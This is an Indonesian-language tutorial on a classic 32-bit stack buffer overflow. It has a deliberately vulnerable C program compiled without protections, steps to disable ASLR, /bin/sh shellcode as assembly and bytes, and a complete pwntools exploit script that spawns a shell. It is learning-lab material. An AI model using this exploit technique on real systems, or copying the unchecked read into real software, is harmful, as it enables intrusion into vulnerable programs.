Binary Exploitation : pwn & shellcode

source code :

#include<stdio.h>
#include<unistd.h>
    
int main(){
    char buffer[64];
    printf("buffer ada di %p\n", &buffer);
    fflush(stdout);
    
    read(0, &buffer, 128);
    
    return 0;
}

Makefile : (asumsi nama file shellcode.c)
*sementara masih yg 32bit :)

gcc -no-pie -fno-pic -fno-stack-protector -fno-builtin -mpreferred-stack-boundary=2 -m32 -z execstack shellcode.c -o shellcode

link shellcode : http://shell-storm.org

untuk dapat mengakses ke /bin/bash menggunakan kode assembly

assembly untuk menjalankan perintah /bin/sh

xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 11
int 0x80

program python untuk mendapatkan line assembly :

from pwn import *

kode = '''
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 11
int 0x80
'''

bentuk_line = asm(kode)
dikembalikan_bentuk_kode = disasm(bentuk_line)

print bentuk_line

dalam bentuk line : (yang akan digunakan sebagai payload)

\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

syarat & tahap :

  • dalam bentuk stack executable / disable execstack, maka dalam makefile ditambah '-z execstack'
  • ada 2 seri : aslr/randomize memory off dan aslr/randomize memory on (untuk belajar, di off-kan dulu)
echo "0" > /proc/sys/kernel/randomize_va_space

"0" untuk off, "1" untuk on
dicek NX harus disable :

  • mengetahui alamat buffer & offset,

run dalam gdb, ide : memenuhi input hingga SIGSEGV / segmentation vault

didapat offset = 68

gdb
0x08049204 <+46>:    lea    eax,[ebp-0x40]
0x08049207 <+49>:    push   eax
0x08049208 <+50>:    push   0x0
0x0804920a <+52>:    call   0x8049080 <read@plt>

proses read pada [ebp-0x40] = 68 desimal

ide :

shellcode + 'A'*(offset - len(shellcode)) + memori_buff

Maka didapat code python :

from pwn import *
import struct

# opsional --> dapat diganti
context(arch='i386', os='linux')

# jalankan program --> dapat diganti
p = process('./shellcode')

# interaksi dengan output program --> dapat diganti
p.recvuntil("di ")

# alamat buffer --> dapat diganti (jika perlu)
buff = int(p.recvline(),16)         

# asumsi telah mengetahui offset (berdasarkan percobaan diatas) --> dapat diganti
offset = 68

# asumsi menggunakan mesin &lt;I / litle endian 32 bit --> dapat diganti (jika perlu)
memori_buff = struct.pack("&lt;I", buff) 

# paten / didapat dr http://shell-storm.org/shellcode/files/shellcode-752.php
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

# membuat payload --> dapat diganti
payload = shellcode + 'A'*(offset - len(shellcode)) + memori_buff

# memberi input dengan...
p.sendline(payload+'<span class="hljs-symbol">\n</span>')

# agar shell dapat berjalan
p.interactive()

sudah masuk ke dalam shell

Masalah :

  • bagaimana kalau tidak diketahui alamat buffer ?
  • klo 64 bit gmn gan 😹